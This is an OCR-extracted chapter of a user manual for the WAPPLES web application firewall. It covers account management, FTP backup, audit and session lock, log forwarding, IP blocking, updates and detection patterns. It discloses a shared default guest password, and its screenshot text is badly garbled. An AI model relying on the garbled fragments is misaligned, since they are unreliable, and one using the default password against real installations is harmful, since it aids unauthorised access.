When you select [Operation Settings] icon from [Fig. XIII-1. Setting Wizard -
Main] and click [Next], you will be able to see the subcategory of the Operation
Settings.

[Account Management]

Use this feature to manage guest ID and website administrator’s ID.
Authorized operator can add or delete guest ID and website administrator’s
ID.

[Backup]
Using detection log, audit log, and setting wizard, you can automatically
back up all configured data when you want.

[Console Audit & Lock]

You can set WAPPLES to disable management tool for security if the
administrator leaves the seat for a fixed period of time after logging on to
WPPLES management tool and also set the level of audit records.

[Log Transmission]
Configure the interoperation between WAPPLES and SNMP (Simple
Network Management Protocol) TRAP.

[IP-Block]
IP Block Setting is divided into IP Block Setting and IP/Port Access Control
Setting. IP Block Setting is used to block attacks made from the same source.
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IP/Port Access Control is used to block or permit the traffic between the
specified source and the specified destination.

® [Update]
You can decide whether the latest security patch of WAPPLES shall be
updated automatically or manually.

® [Pattern repository]
You can add/edit/delete patterns which is used for User-Defined Pattern Rule

® [Time synchronization]

You can register NTP server in order to synchronize time of WAPPLES syste
m and set time zone.

® [IP/Port access control]

You can edit specific source/destination IP or port number list to allow/deny
the traffic.

® [License]
You can register software licence file.
® [E-mail]

You can configur Email address and its SMTP address which will be used o
ver the WAPLES functionalities.

® [Policy & Log Synchronization]
You can configure the policy and log synchronization setting and the access
information of the WAPPLES to synchronize.

Setting Wizand

Operation setting
List of operation settings

© Please select an itern to configure

e || g e B o
i Account & R
V) E-Mal % panagement _‘J Transrission

\ -
e >
}J 1‘ License ;é Iai‘;zzgtmntml 4 j/ Pattern Repository
" Policy s Log “o0 L Time L
I,!* = Synchronization \ J Synchronization ’ Update

Fig. XI11-2. Setting Wizard - Operation Settings
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1.1 Account Management

WAPPLES provides the [Account Management] feature to control [Guest] who
can inquire system audit items and security breaches and [Website Administrator]
who can manage the website.

Select [Account Management] in [Fig. XIlI-2. Setting Wizard - Operation
Setting], [Fig. X111-3. Account Management] window will appear.

Setting Wizard
Account Management

Account Management

© Select an account that you want to set, and dlick next button,

Set account that is possible to ingquire detection log,

® Guest Setting = audition log, dash board,

Wb site adrinistrator Set authority that let web site admiristrator be able to

o Setting —= manage, and operate web site,
(O Operator Settings et account which is able to be set and inguired.
Cancel ] [ < Back ] [ Mext »

Fig. XI11-3. Account Management

If the account to control is “Guest”, select [Guest Setting] and click [Next] to
bring out [Fig. XI1I-4. Guest Management] window.
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Setting Wizard

Account Management

Account Managerment

© Ee able to add/remove guest ID,

C [

Reqistered guest ID :

Glest can inquine detection log, audition log, dash
board.

abcd

(=J
abcd124 (=]
(=]

abcdef

Carcel ][ < Back ][ Mext >

Fig. X111-4. Guest Management

Enter the ID to add and click [+] button to add the guest ID to the guest ID list
and the password for the new ID is basically ‘penta.” As the password for all new
IDs will be the same, the guest must change the password when logging in for the
first time and the management tool will be terminated if the guest refuses to
change the password.

@ Only English character and number can be used to make an ID and it must
start with an alphabet letter. Only lower case letters can be used and when
you enter upper case letter, it will be automatically converted into small
case letter. ID cannot include special characters and the length has to be
4~10.

You cannot add existing ID as the new ID, and the guest’s ID will be added as
follows.
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Setting Wizard

Account Management

Account Management

€ Ee able to addjremove guest 1D,

0

|abcde|

Registered guest ID

abicd
abcdiz4
abecdef

Glest can inquire detection log, audition log, dash

Fig. X111-5. Adding Guest ID

Select the ID to delete from the list and click [-] button.

Setting Wizard

Account Management
Account Management

€ Be able to add/remove quest ID,

D

Cancel ][ < Back ][

|abcde

Registered guest D

abed
ahedi24
abcdef

Guest can inquire detection log, audition log, dash

gey

Fig. X111-6. Deleting Guest ID

Setting wizard will display the following error messages if the user enters
incorrect values when configuring guest ID management.

Cancel ][ < Back. ]I

Table 92. Guest ID Management Error Message

Error Message
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Error Message

Cause

You cannot add more ID

There are already 5 guest IDs

ID cannot be blank

You forgot to enter the ID

{ID to Add} is currently
logged on.

The ID you entered is the same as the 1D of
the operator who is currently logged on

The ID already exists in the
list of guests.

The ID you entered is already registered as a
guest ID

The ID already exists in the
list of security policy
administrators.

The ID you entered is already registered as
the administrator’s ID for each policy

ERROR

Guest ID cannot be added due to network
problem

@ Guest can only use detection log, dashboard, and audit log menus.

If the account you wish to manage is the security website administrator, select
[Website Administrator Setting] from [Fig. XIII-3. Account Management]
window and click [Next] and [Fig. XIII-7. Website Administrator Setting]

window will appear.

Setting Wizard

Account Management
Account Managemenk

€ Ee able to addfeditiremove web site admiistrakor,

Registered web site administrator 10
s} Department MName E-mnail
krnnarn Penta Security Kyungrmaon kmnam@pentasecy. .. Add
tjjurg Penta Security Tasjoan Hjungi@pentasecurit, .,

Edit

Delete
[ Cancel ] [ < Back ] [ Complete

Fig. XI11-7. Website Administrator Setting

You can add/edit/delete website administrator in [Fig. XIII-7. Website
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Administrator Setting] window.

When you click [Add] button [Fig. XI11-8. Add Website Administrator] window
will appear.

Setting Wizard

Account management
Type information of web site administrator X
© Type information of web site administratar that WI|| use the account,

Required information

Mame : Departrment

D E-mail :

Password : Yalid date : Fram
Check password ! To

Let password be changed in the time af log in.

Additional information

Address | | Moke :

Phone | |

Fig. X111-8. Add Website Administrator

Enter the mandatory information of the administrator to add such as name, ID,
password, department, e-mail, and term of validity.

You cannot move on to the next procedure if you do not provide mandatory
information.

The website administrator whose term of validity expired cannot log on to
WAPPLES management tool.

If you check [Ask user to change password at log in.], the administrator for
corresponding website will see the password change window each time he or she
logs in until the password is changed.

Optional information does not necessarily have to be provided.

If you check [Read Only], the website administrator will be on guest mode who
cannot change WAPPLES settings.

Table 93. Administrator ID Management by Security Policy - Error
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Message

Error Message

Cause

Guest ID cannot be blank

You forgot to enter ID

{ID to Add} is currently
logged on.

The ID you entered is the same as the ID of
the operator who is currently logged on

The ID already exists in the
list of guests.

The ID you entered is already registered as a
guest ID

The ID already exists in the

The ID you entered is already registered as

list . .Of security  policy the administrator’s ID for each policy
administrators.
ERROR Guest ID cannot be added due to network

problem

When you click [Next], [Fig. XIII-9. Website Administrator Website
Management] window will appear. The [Policy and Website Tree View] on the
left shows the authorized operator’s policies and the list of unallocated websites.
Select the website to allocate to the website administrator and click [>] button to
allocate the website to the website administrator.

Allocated sites will be disabled on the left [Policy and Website Tree View] and
instead it will be shown in [Website List View] on the right.

Setting Wizard

Account Management
Marnage policy or web site
© Give web site management authority to web site administrator,

21 0, All-pass without detection Website

pentasecurity,co...

Policy
0. All-pass with. ..

Detection Only, Ma-block

. Basic Security Lewvel
» All-block,
. Standard Security Lewel

=
i

=

o
_ILHJL_I

Advanced Security Level

PCI-DS5 Security Level
ustor Policy

!

r
L

1
4
&
3
4
5
C

[ Cancel ][ < Back ][ Mext »

Fig. X111-9. Website Administrator Website Management

When you allocate all websites to allocate and click [Next], [Fig. XIII-10.
Website Administrator - Completed] screen will appear.
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When you check the contents of setting and click [Finish] and the Website
Administrator will be added.

Setting Wizard

Acoount Management
Policy or website management

© There's no change.

Website administrator @ Kyungmoon

Website administratar ID ¢ kmnam

Website :  pentasecurity . comy

[ Cancel ][ < Back ][ Complete

Fig. X111-10. Website Administrator - Completed

Click [Edit] in [Fig. XII1-7. Website Administrator Setting] window to modify the
settings configured for the corresponding website administrator. The information
required for editing is basically the same as when you added a new website
administrator, but you cannot change the ID as in [Fig. XIII-11. Website
Administrator - Edit].

Setting Wizard

Account management
Type information of web site administrator ¥
© Type information of web site administrator that w

il'use the account.

Required information

Marne : Ky ungrmoon Department @ Penta Security

D E-mnail : kmnam@pentasecu
Password : R walid date : 2010-09-15 w | from
Check password : kA To
Let password be changed in the time of login.

Additional information

Address : | |Note H

Phane : | |

Fig. XI11-11. Website Administrator - Edit
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Select the administrator to delete from [Fig. XIII-7. Website Administrator
Setting] window and click [Delete] to delete the website administrator.

If there are websites allocated to the website administrator to delete, the
following warning message will be displayed.

WARNING [%|

"Wiehsite administrator has 1 number of websites,

website admin's autharity will give back to WaPPLES administrator,
\Website name:

[pentasecurity, com &0y T

| [ Mo

Fl=
a1}
L

Fig. X111-12. Website Administrator Deletion 1

Website administrator has following characteristics.

® \Website administrator can add the number of websites allocated to the
administrator * 2.

Website administrator can only edit the policies he or she added.

Website administrator cannot see the policies that other website
administrator generated.

Website administrator can use operator’s policies but cannot edit them.

Website administrator can use detection log, dashboard, audit log, and
report preparation menus.

1.2 Backup

Use [Backup] to save the backup of configuration information, detection log, and
audit log recorded to WAPPLES to WAPPLES system or external FTP server.

Select [Backup] in [Fig. XI11-2. Setting Wizard - Operation Settings] window and
click [Continue] to bring out [Fig. XI11-13. Backup Setting] window.
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Setting Wizard

Backup Setting
Backup Period Setting

€ Please setting backup period and time

Backup Unit ¢ |mmonthily v

Backup rnonthly Appointrnent Path

FTP Server IP: 192.168.1.136
Execute backup at | ap 427 -

-

FTP server path |/

in 25| day every month, -
FTPID admin
FTP passwrd 1 [#esikss|
Cancel ] [ < Back ] [ Mext »

Fig. X111-13. Backup Setting

You can set the backup cycle to every day, every week, every month, or none.

If you wish to back up every day, specify back up time and if you wish to back up
every week, specify the day and back up time. If you wish to back up every
month, specify the date and time

For backup, the backup data is sent through FTP. You need to specify the

information required in using FTP such as FTP server IP, FTP server path, FTP
ID, and FTP password.

Table 94. Backup Error Message

Error Message Cause

You did not check one or more days after
setting backup cycle to [Every Week]

FTP server IP, FTP server path, You left FTP server IP, FTP server path, FTP
FTP ID, FTP password cannot ID, and FTP password blank after you select
be blank remote backup

Incorrect IP FTP server IP is not in proper IP format

Select one or more days

Click [Next] in [Fig. XI11-13. Backup] screen and [Setting Completed] as in [Fig.
XI111-14. Backup Setting Completed] will appear. Check the content of setting in
this window and click [Finish]
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Setting Wizard

Backup Setting

Backup setting finish

© Please click Finish' button, then the below information will be apply.

Backup period ! rnonthly
Backup time : AM 027200
FTP Server IP 192.165.1.156
FTP Server Path : g

FTPID:  admin

Cancel ][ < Back ][ Finish

Fig. X111-14. Backup Setting Completed

1.3 Console Audit & Lock

[Audit Setting] shown to the authorized administrator to record audit log by each
audit level, and it allows the selection of level of audit records.

Audit level is divided into [Basic Audit] and [Audit All] and the following
explains the meaning and audit items of each level.

Table 95. Audit Item Audit Level
Audit Level Description Audit Item
DB capacity warning/overload, interoperation
mode, website addition/modification/deletion,
change of rule exception handling, change of
access setting, log review, update setting,
Records audit | update success, change of session lock setting,
Basic data  about | audit setting, WAPPLES IP, routing table, web
Audit critical events | server, policy name, policy rule, back

or changes of | setting/success/failure, log deletion, log in
WAPPLES failure/failure, password change/failure, session
lock failure, WAPPLES start/stop, failure in
integrity inspection, change of management
port setting, master/slave mode setting, backup
setting, network interface error, security
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Audit Level

Description

Audit Item

warning, guest ID addition/deletion, change of
time synchronization setting, time
synchronization success/failure, standard time
zone change/failure, change of access record
management  setting, change of Pattern
Repository setting, change of bypass IP setting,
policy/log synchronization setting/result, report
mailing success/failure, license registration
success/failure by each function

Audit All

Records audit
data from
general
information
up to normal
operations of
periodical
inspections in
addition  to
basic  audit
items

Basic audit items, enforced update, IP
block/management list setting, addition and
deletion of guest, log out, session lock, session
lock release, WAPPLES start/stop, integrity test
success, change of management port setting,
master/slave mode setting, HA setting and all
other logs

Select [Console Audit & Lock] in [Fig. XIII-2. Setting Wizard - Operation
Setting] and click [Continue] to bring out [Fig. XIII-15. Audit Level Setting]

window.

Move the slide bar up and down in the [Audit Level Setting] window to change
the level to Basic Audit or Audit All and click [Next].
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Setting Wizard

Session Lock and Audit Setting
Audit Level

© Set Range to leave Audit Log.

- Total Audit

Record all the logs related to login, change settings, WAPPLES systemn
data, and network interface.

Cancel ] [ = Back ] [ MNext =

Fig. X111-15. Audit Level Setting

[Session Lock Setting] automatically blocks the access to the management tool
for security when the administrator leaves the sea for a long time after logging on
to management tool. You can set the time to trigger session lock to 5 minutes, 15
minutes, 30 minutes, or disable session lock in [Session Lock Setting].

If you set the time for session lock, WAPPLES management tool will be
disconnected from WAPPLES and [Fig. XIlI-17. Release Session Lock] will
appear when there is no keyboard input or mouse click to WAPPLES
management tool for the time you set.

You can release session lock or end the management tool from [Fig. XIII-17.
Release Session Lock]. If you wish to use the management tool again, enter the
password and click [Release Session Lock].

[Fig. XI11-17. Release Session Lock] only takes the password input. The log in

method is the same as [Fig. XI1I1-16. Login Window] except that the Change 1D
and Password checkboxes are disabled.
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Unlock Session

WAPPLEY

ID: ;’ jciin ' ( Unlock Session |

Password ! ‘ ] ( Quit |

WAPPLES Management tools is locked. Please enter
Managernent tools login password.

Fig. X111-17. Release Session Lock

Move the slide up or down to the session to select the time before initiating
session lock in [Session Lock Setting] window and click [Next].

Setting Wizard

Session Lock and Audit Setting

Session Lock Setting

€ Set Sessionock function according to woark-waiting time for Managerment tools

15 Min

Session locked in 15 Minutes if there's no action.

Caricel ] [ « Back ] [ Mest =

Fig. XI11-18. Session Lock Setting

Click [Next] in [Session Lock Setting] to bring out [Fig. XI11-19. Console Audit
& Lock Wizard (Completed))]. Click [Finish] to save session lock and audit
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setting and apply settings to WAPPLES.

Setting Wizard

Session Lock and Audit Setting
Setting Completed

© To apply following setting, click 'Complete’ .

Audit Level : Record all the logs related tologin, change settings, WAPPLES
system data, and netwark interface.

Session Lock @ Session locked in 15 Minutes if there's no action,

[ Cancel ] [ < Back ] [Complete

Fig. X111-19. Console Audit & Lock Wizard (Completed)

1.4 Log Transmission

In [Log Transmission], configure the interoperation between WAPPLES and
SNMP  (Simple Network Management Protocol) TRAP, SIMS(Security
Information Management System), E-MAIL, and SYSLOG.

Select [Log Transmission] in [Fig. XIII-2. Setting Wizard - Operation Setting]
and click [Next] to start the Log Transmission Wizard.

In [Fig. XIII-20. SNMP Interoperation Activation/Deactivation Setting and
Interoperation Server Setting] window, check [Interoperate with SNMP]. If you
do not check this checkbox, you are deactivating the interoperation setting and
you will not need to enter IP address and port number for the interoperation
server.

If you wish to activate SNMP interoperation, check “SNMP Interoperation”
checkbox and enter IP address and port number for the interoperation server.
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Setting Wizard

Interlocking Setting
SHMP Interlocking

© Set SHMP ( Simple Network Managerment Protocol ) TRAP Interlocking,
Then you can receive detected log from that SMMP Server,

Interlocking SMMP

SHMP Sarver TP [102.168.32.56 Interlg_ckir;g select | SMMP interlocking object
object
ax) 102, 168.0. 100 Detection log
Part Mumber | 162 ] Chieck web sarver
Garnaraly 162
[ Cancel ] [ < Back ] [ Mewt = ]

Fig. X111-20. SNMP Interoperation Activation/Deactivation Setting and
Interoperation Server Setting

When the attack is detected by WAPPLES, WAPPLES will send the [Table 96.

SNMP Interoperation Detection Information] to the interoperation server IP you
specified through SNMP TRAP.

Table 96. SNMP Interoperation Detection Information

Type

Description

Detection Time

Detection time

Source IP

IP of the source of attack

Attack URI

Information of detected URI

Detection Rule

Name of the rule detected

Detected Raw Data

Packet data

Response

HTTP response

Website Host Name

Website host’s name

Destination IP

IP of the configured server

When you click [Next], [SIMS Interoperation Setting] window will appear as in
[Fig. X111-21. SIMS Interoperation Setting].

To configure SIMS interoperation setting, check SIMS interoperation checkbox

and specify SIMS ID, SIMS server IP, SIMS Port, WAPPLES IP, verification
code, and sleep Time.
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Setting Wizard
Interlocking Setting
SIMS Interlocking

© Set SIMS ( Security Information Managerment Systemn ) Interlacking,

Interlocking SIMS

sMssevere: | | sMsPor: ]

ax) 102, 188.0. 100
Authentication Managernerit I:I
Code : Tool IP

ax) 192, 158.0. 100

[ Cancel ][ < Back ][ Mext =

Fig. X111-21. SIMS Interoperation Setting

When you click [Next], [E-mail and SysLog Interoperation] will appear as in [Fig.
X111-22. E-mail and SysLog ].

If you wish to configure E-MAIL interoperation, check E-MAIL Interoperation
checkbox.

If you did not configure e-mail related settings in ([XI11.1.12 E-MAIL], E-MAIL
setting window will appear after you check) Enter [Time Interval] to send E-
MAIL and [Receiver’s Address] to receive E-MAIL.

If you wish to configure SYSLOG interoperation, check SYSLOG Interoperation
checkbox and enter the IP address of [SYSLOG Transmission Server]
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Setting Wizard

Interlocking Setting
E-MAIL and SYSLOG Setting

© Set E-MAIL and SYSLOG Interlocking

[ Interlacking E-MAIL detection log [ Interlocking 5¥SLOG Target Server

|:| . SYSLOWG Target Server I:I
Receiver Address |:|

[ Cancel ][ < Back ][ Mext =

Fig. X111-22. E-mail and SysLog Interoperation

When you click [Next], [Interoperation Setting Completed] window as in [Fig.
XI111-23. Interoperation Setting Editing Completed] will appear. In this window,
check the content of setting and click [Finish] to apply the settings to WAPPLSE.

Setting Wizard

Interlocking Setting
Setting Completed

© 1o apply folowing setting, click 'Complete’ .

SHMP Interlocking SIMS Interlocking
SMMP interlocking ;. Detection log

Interlocking Server IP @ 192.168.3.56:162
E-MAIL Interlocking

Do not use E-Mail interpolating. Do not use SIMS interpolating.

SYSLOG Interlocking

Do not use S¥SLOG interpolating,

[ Cancel ] [ < Back ] [Complete

Fig. XI11-23. Interoperation Setting Editing Completed
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1.5 IP-Block

In [IP-Block] configure IP block setting and IP/Port access control setting.

IP Block Setting is used to block the attempt of attack made from the same origin.
WAPPLES detects attacks that were made from the same origin, records the
accumulation of blocked events by hour, and blocks all attacks made from the
same origin for a fixed period of time when the accumulated number exceeds the
setting.

Select [IP-Block] in [Fig. XIII-2. Setting Wizard - Operation Setting] and click
[Continue] to bring out [Fig. XI11-24. IP Block Setting Wizard (Set Conditions
for Black List IP))] window.

Determine whether you will activate IP control feature concerning the IP block
control list in this window, and if you are activating the feature, specify which
conditions you are going to use to create the IP block control list and how long
you will control them or whether you will control currently registered IPs only.

Setting Wizard

IP Block Setting
Elack List IP Condition Setting

© Set block condition and block period when black list 1P blacking.

() Register black list IP according to following condition and block traffic of the 1P,

During , if curnulative risk of the source is much than

, all traffics coming from the source IP wil be blocked during

() Manage current registered IP only,

() Do not manage black List,

[ Cancel ][ < Back ][ Mest » ]

Fig. XI11-24. 1P Block Setting Wizard (Set Conditions for Black List IP)

Click [Next] to bring out [Fig. XIII-25. IP Control Setting Wizard

(Controlled IP List)] window for you to set following conditions.

® Connection Blocked IP/Block Time

® Connection Permitted IP/Permitted Time

You can block or permit connection for specific IP or IP domain for fixed period
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of time. Enter the IP you wish to block or permit, enter the time to block or
permit the connection, check or uncheck [Permit Connection of Corresponding
IP], and click [Add] to add IP to control to the list of controlled IPs.

Setting Wizard

IP Block Setting

Management IP list

© vou can see current-managed [P and set 1P that you will permit access or block the access,

P Scheduled-ending time | IP Block =l
192,168.0.0/24 9/17/20104:39 AM =& all...

TP Managernent
scheduled-ending time :

‘Wednesday, September | v
4:39:23 AM =
[ Perrmit access this IP
Add Edit Delete

[ Cancel ][ < Back ][ Mest >

Fig. X111-25. IP Control Setting Wizard (Controlled IP List)

To edit/delete controlled IP, select the IP to delete from IP list, click
[Edit])/[Delete] and click [Next] to bring out [Fig. XI11-28. IP/Port Access Control
Setting] window. After configuring IP/Port setting, the summary window will
appear as in [Fig. XI11-29. IP Block Setting Wizard (Completed))]. Check the
configurations once again and click [Finish] to apply the IP block setting to
WAPPLES.

Setting wizard will display the following error messages if the user enters
incorrect values when configuring IP to block.

Table 97. Log In Error Message

Error Message Cause

The IP entered when adding/editing

Incorrect IP. controlled IP is not in IP format

The time setting does not indicate
the time in the future at least 5
minutes from now

You can set the time for at least 5
minutes from now.

@ IP control termination time must be at least 5 minutes in the future from
current time.
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Setting Wizard

IP Block Setting
Setting Completed

© To apply Following setting, dick '‘Complste’ .
1 Management IP : nak exisk
1 IP Block Setting list : If attack From same source is detecked or

blocked, 100 times during 1 minutes, block all
traffics From that IP during 10 minutes

[ Cancel ][ < Back ][ Complete

Fig. XI11-26.1P Block Setting Wizard(Complete)

Risk level which is used for IP block can be applied and configured via each rule’s s
etting wizard. Below figure is setting for buffer overflow rule.
The lower right part is for setting risk level for this rule.

Setting Wizard

Edit Policy
Rule setting

© EBuffer Overflow
i Detection B Detect buffer attack i Countermeasure B Detection only

- Detect attacks that make
server buffer overflow. set as
following values.

- key length : 64
- URI length : 352
- Header length : 512

[[] Custom Setting o Risk :0 3: v,

Fig. X111-27. Buffer Over Flow Rule Setting
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1.6 IP/Port Access Control

IP/Port Access Control provides the access control feature for the traffics going
from Source IP/Port to Destination IP/Port. IP and port under IP/Port Access
Control will be permitted or blocked according to IP/Port Access Control
regardless of WAPPLES’s detection. Also, they are prioritized according to the
configured order for IP/Port control. The priority can be determined with the
Up/Down buttons in [Fig. XI11-28. IP/Port Access Control Setting] and the IP
positioned higher in the list has higher priority.

@ IP/Port Access Control setting can be configured in the inline mode only.

To configure IP/Port Access Control setting, click [Next] in [Fig. XIl1-24. IP
Block Setting Wizard (Set Conditions for Black List IP)] window or click [Next]
in [Fig. XI11-25. IP Control Setting Wizard (Controlled IP List)] to move to [Fig.
XI111-28. IP/Port Access Control Setting] window.

Setting Wizard

IP/Port Access Control

Control network connection
dividing source IP/Part and target IPfPort,

B Frovide simple firewall Function.

Mame : I:I Protocal © | TCP - || Connection refused |
Source ¢ IP: [192.168.3.112 |:| all Port : I:I all
Target : IP: [192.188.0.1 sl Pt [ |&a

Marne Source IP Source Pork | Target IP Targek Paork Protacal Co...
1 192,168.3.112  al 192,165.0.1 all TP Deny Up

Do
wn

[ Cancel ][ < Back ][ MNewt > ]

Fig. XI11-28. IP/Port Access Control Setting

You can add, edit, or delete IP and port for IP/Port Access Control through [Fig.
XI111-28. IP/Port Access Control Setting] window.

01 Addition
Check or uncheck unique name, protocol, source IP/Port, destination IP/Port,
and whether you will permit or block the connection in [Fig. XI111-28. IP/Port
Access Control Setting] window.
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Name
Enter the unique name to distinguish each access control setting

Protocol
Protocols that can be used for access control are TCP, UDP, and ICMP, but

you cannot set the port in ICMP.

Source and Destination IP
Enter source and destination IP and Netmask, and if you only provide IP,
Netmask will be set to 32, the default value.

Source and Destination Port

You can specify a single port value or use [:] or [-] to specify the range of
ports. For example, if you enter [80-100], the ports between 80 and 100 will
be used for access control.

After you enter all information up to IP/Port and click [Add], you will see the
values you entered on the list. Select the value and determine the priority with Up
& Down buttons.

After adding all settings, click [Next] to check the content of settings and click
[Finish] to complete IP/Port Access Control setting.

02 Edit and Delete

Edit

Select the item to edit form IP/Port Access Control List, make changes, and
click [Edit]. The changes will appear on the list. Click [Next] to check the
contents of the setting and click [Finish] to finish editing.

Delete

Select the item to delete from IP/Port Access Control List and click [Delete]
to delete the corresponding contents. Click [Next] to check the contents of
the setting and click [Finish] to completion deletion.

Tabl . IP/Port A ntrol Error M

Error Message Cause

The name already exists

The name used for distinguish IP/Port
Access Control List already exists

Incorrect IP The IP is not in proper IP format

Out of range.

Port field is empty.
Port range is greater than 0~65535.

Enter numbers only

When setting port range, a character other
than [:] or [-] was used
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Setting Wizard

IP Block Setting
Setting Completed

© To apply Following setting, click ‘Complste’ |
Management IF : nok exisk
IP BElock Setting list IF attack from same source is detected or

blacked, 100 times during 1 minutes, block all
traffics From that TP during 10 minutes

[ Cancel ][ < Back ][ Complete

Fig. X111-29. IP Block Setting Wizard (Completed)

1.7 Update
WAPPLES uses [Update] feature to update the latest list of security breaches.

Update server communicates with remote WAPPLES through WAPPLES service
IP and uses SSL protocol to establish a safe channel. Therefore, the administrator
has to take necessary measures such as opening internal network port to enable
the communication between port 443 of the update server and WAPPLES and
also secure the stability between update server and WAPPLES.

Select [Update] from [Fig. XI11-2. Setting Wizard - Operation Setting] and click
[Next] to bring out [Fig. X111-30. Update] window

If update setting has never been done, the figure [Fig. XI111-30. Update]
will  appear . Since IP  address of update  server
is not configured, ‘Update Immediately” cannot be proceeded.

In the [Update Setting] window, you can select [Update Mode Setting] to
determine whether the system shall check for new updates with the external
update server and whether the update shall be made automatically or manually, or
[Update Now] to connect the external update server immediately to determine the
execution of the update.
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Setting Wizard

Update WAPPLES

(O Update immediately

Set or Excute Update

© Select the way of updating the latest wersion of WAPPLES ar execution of update immediately.

(& Setting Update Mode

Set WAPPLES update mode

Execute WAPPLES update immediately

Cancel ][ < Back ][ Mext »

Fig. X111-30. Update - Selection

Select [Update Mode Setting] in [Update Version Update] window and click
[Next] to bring out [Fig. XI11-31. Select Update Mode] window.

The update mode can be set to one of three modes in the following.

Table 99. Update Mode Setting

Mode

Description

[Automatic Update]

Checks for new updates with the update server at 4 a.m.
every day, and if there are new updates, executes
automatic update.

[Update After
Administrator’s
Approval

]

Checks for new updates with the update server at 4 a.m.
every day, and if there are new updates, it will show
[Fig. XII1-34. Execute Update (Information)] screen
when the administrator  accesses WAPPLES
management tool for the administrator to determine
whether or not the update should be made. (Same as
[Update Now].)

[Update Manually]

Does not use Automatic Update feature.
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Setting Wizard

Set or Excute Update

Select update mode

(O Update Automatic

Update after Admin's
permmission

o

(& Update Manually

€ Select the way of updating the latest version of WAPPLES,

Automatically update by receiving update information
from update server

After receiving update information autoratically,
check whether update or not when adrinistrator log in
is executed,

—p

s Do not receive update information autornatically.
wWhen you want to update WAPPLES system,

~ " you can update through immediate execution command.

Cancel ][ < Back ][ Mexst >

Fig. X111-31. Select Update Mode

Select [Update after Administrator’s Approval] in [Fig. XI1I1-31. Select Update
Mode], click [Next] and enter auxiliary update server address, update time, and

update cycle. WAPPLES will check
update cycle.

Setting Wizard

Set or Excute Update

Sub update server registration

© Type IP of update server or set as default,

for updates at the hour specified to the

Update serverl IP |

| |Korea server 1 v|

Update server2 IP |

| |K0rea server 2 w |

Update standard time : aM 12

Update petiod Ewvary 1

00

haour

Cancel ][ < Back ][ Mext >

Fig. X111-32. Update Server Registration

If you do not specify update server IP, WAPPLES will refer to the basic update
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server managed by PENTA Security Systems.

The IP entered to the update server field can be provided from PENTA Security
Systems upon request if WAPPLES system is particularly severed from external
network or if it is anticipated that the traffic accessing the update server would
increase as a number of WAPPLES systems are operated.

Do not specify update server IP if you are not using update server.

Table 100. Backup Setting Error Message

Error Message Cause

Incorrect IP. The IP is not in proper IP format

When you click [Next] in [Update Server Registration] and [Fig. XI11-33. Update
Setting Completed] window will appear. Check the contents of setting in this
screen and click [Finish] to save update setting and apply it to WAPPLSES.

Setting Wizard

Set or Excute Update
Setting finished

© There's no change.

Update mode : Update Manualky
Update server IP ; 218.145.29.163 , 118.33.113.90

Update time : Manual update does not assign the time to do update

[ Cancel ][ < Back

Fig. X111-33. Update Setting Completed

Select [Update Now] from [Fig. X111-30. Update] window and click [Next] and
[Fig. XI11-35. Execute Update (Execute Update))] window will appear. In this
window, check the details of current WAPPLES version and check whether any
update is required and then click [Next].
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Setting Wizard

Set or Excute Update
Execute Update

© Update wil be started if you dick 'Complete’.

Before update execution, backup WAPPLES data

B Current version of WAPPLES : 3.0R5.10257 K1.2.7-4.U1,2,7-4_x86_64
F Update server IP 218.145.29,163 | 118.33.113.90

[ Cancel ][ < Back Mext >

Fig. X111-34. Execute Update (Information)

Click [Finish] in [Fig. XI11-34. Execute Update (Information))] to bring out [Fig.
XI111-35. Execute Update (Execute Update))] window. If you do not wish to
update, click [Cancel] to terminate the update wizard.

@ Execute update

( R Tl | p
z“/ . o S le,_ rJ! ("%

A
o~/ R -
(AY,
Update Version File Download Fie Patch Update
Initialization Check Completed

Initializing information of update.....

[IIIII ]

Close

Fig. XI11-35. Execute Update (Execute Update)

The update is executed in 5 procedures in the following.
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Initialization of Update Information: Initializes update information

Check Update Version: Check if there are new updates in the update server.

Download Update File: Download the file to update form the update server.

Update File Patch: Patches downloaded file to current system.

© ® © ® 6

Update Completed: This is the final stage of update. When you complete update,
update summary window will appear and when you click [OK], the management
tool will restart.

1.8 Pattern Repository

WAPPLES can register various patterns in the Pattern Repository which
comprehensively manages registered patterns.

You can set a WAPPLES policy to use the patterns saved in the Pattern
Repository to detect attacks in the User Defined Pattern custom setting window.

Select [Pattern Repository] in [Fig. XII1-2. Setting Wizard - Operation Setting]
and click [Next] to bring out [Fig. XI11-36. Pattern Repository]

Setting Wizard

Pattern Repository
Pattern Management
© Add/Edit/Delete pattern for User Define Pattern Rule

Lewvel  Mame Pattern Count  Regex Pattern
Update

Add pattern " Edit pattern " Delete pattern ]

[ Cancel ][ < Back ][ Complete

Fig. XI11-36. Pattern Repository

® Add Pattern
Click this button to bring out [Fig. XII1-37. Add Pattern] for adding a
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detection pattern.

® Edit Pattern
Click the item to edit from the list, click [Edit] to bring out a window to edit
the pattern. Edit the content and click [Finish]. The edited content will
appear on the pattern list.

® Delete Pattern
Click the pattern to delete from the list, click [Delete] to delete the
corresponding pattern from the list.

Setting Wizard
Pattern Repository
Add pattern
© Adding pattern
Pattern name @ penka
Pattern
Dekection position  Pattern
Diekection position : PARAM R PARAM VARIABLE
Detection patkern : WARTABLE
Key Coakie [[] Detecting al
Cancel ] [ Mewt >

Fig. X111-37. Add Pattern

Enter the name to represent the pattern in the [Pattern Name], select [Detection
Location], enter the pattern to [Detection Pattern] and click [>] button to register
the pattern. Click [<] to delete the pattern.

Table 101. Detection L ocation

Type Description
URI URI
REQLINE Request Line
PARAM Request Parameter
REQHEADER Request Header
REQCONTENT Request Body

Table 102. Error Message

Error Message Cause
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Error Message Cause

Pattern name, detection pattern, and

Pattern Cannot be blank. detection pattern list are empty

Click [Next] in [Fig. XI11-37. Add Pattern] window and [Fig. XI11-38. Regular
Expression ] window will appear.

Setting Wizard

Pattern Repository

Reqular Expression Frame

> Reqular expression is added

Use reqular expression

Regular expression

Detection position URI w
Detection pattern : {body}
Key Detecting all
[ Cancel ] [ < Back ] [ Mest >

Fig. X111-38. Regular Expression Setting

If you wish to use Regular Expression, click on the check box, select detection
location and enter the detection pattern in regular expression.

Table 103. Error Message

Error Message Cause

Detection pattern and key cannot Regular expression is used and
be blank detection pattern and key are blank

After you enter the pattern, click [Next] and [Fig. XII1-39. Check Pattern
Addition] window will appear.
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Setting Wizard

Pattern Repository

Save patkern
© 1. apply Following setting, click 'Complete’
Marme of Rule penta
Murber of patterns : 1
Using regex o]
Cancel ] ’ < Back ] [ Complete

Fig. X111-39. Check Pattern Addition

Check the content of setting in [Fig. X111-39. Check Pattern Addition] and click
[Finish] to save the pattern.

Setting Wizard

Pattern Repository
